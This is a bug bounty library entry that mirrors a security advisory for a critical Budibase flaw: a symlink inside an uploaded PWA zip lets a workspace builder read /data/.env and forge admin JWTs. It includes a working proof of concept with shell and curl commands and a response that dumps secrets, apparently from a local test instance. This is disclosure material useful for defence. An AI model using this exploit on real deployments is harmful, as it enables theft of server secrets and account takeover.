# Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload

Workspace builder uploads PWA zip with symlink icon pointing at /data/.env; server streams target bytes into MinIO, exposing JWT_SECRET and other secrets.

- Payout: Research
- Severity: critical
- Program: Budibase
- Found by: kah-ja
- Disclosed: 2026-06-22
- CVE: CVE-2026-54352
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w7mq-r738-x278
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w7mq-r738-x278
- Tags: area:web domain:web impact:ato impact:data-leak impact:privesc kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:file-upload vuln:path-traversal vuln:secrets-leak

**Target:** POST /api/pwa/process-zip and GET /api/assets/{appId}/pwa/{uuid}.png
**Root cause:** extract-zip@2.0.1 preserves absolute symlink targets; the icon validator uses path.resolve + startsWith + fs.existsSync, all of which follow symlinks, so a symlink under baseDir pointing at /data/.env passes. fsp.open then follows the link and streams the target into MinIO.
**Steps:**
1. Create zip with symlink entry: `ln -s /data/.env evil.png` and `icons.json` referencing `evil.png`; `zip -y attack.zip icons.json evil.png`.
2. POST to `/api/pwa/process-zip` with builder cookies, `x-budibase-app-id: <appId>`, `x-csrf-token: <CSRF>`, and `-F "file=@attack.zip"`.
3. Response returns icon src `<appId>/pwa/<uuid>.png`.
4. GET `/api/assets/<appId>/pwa/<uuid>.png` with auth cookies; body is byte-identical to `/data/.env`.
**How found:** Code review of the PWA zip pipeline: noticed extract-zip preserves absolute symlink targets, then traced the icon validator (path.resolve/startsWith/existsSync) and objectStore fsp.open, all of which follow symlinks rather than rejecting them.
**Exploitation:** Any workspace builder on one app uploads the crafted zip; the server extracts it, validates the symlink path (which passes), opens the symlink target, and stores its bytes as a PWA icon in MinIO. Fetching the asset URL returns the file contents verbatim. Leaked JWT_SECRET enables HS256 JWT forgery for any user id including global admin, escalating to cross-tenant access.
**Escalation:** Leaked JWT_SECRET allows forging admin JWTs, pivoting from workspace-builder to global-admin and cross-tenant exposure on multi-tenant installs.
**Insight:** When auditing archive-extraction pipelines, check whether the extractor preserves symlinks and whether every downstream check (resolve, startsWith, existsSync, open) follows links rather than rejecting symlink entries via lstat; a single symlink entry bypasses path-prefix validation.

## Proof of concept (copied exactly from the original report)

**Symlink zip upload to process-zip endpoint**

```
mkdir attack && cd attack
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip -y attack.zip icons.json evil.png

curl -s "http://localhost:10000/api/pwa/process-zip" \
  -b cookies.txt \
  -H "x-budibase-app-id: <appId>" \
  -H "x-csrf-token: <CSRF>" \
  -F "file=@attack.zip"
```

**Asset fetch request returning leaked env**

```
GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>

COUCHDB_USER=admin
COUCHDB_PASSWORD=admin
MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def
MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778
INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c
JWT_SECRET=c5441dc903f845bdb93a98b949a612b2
REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c
DATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm
```

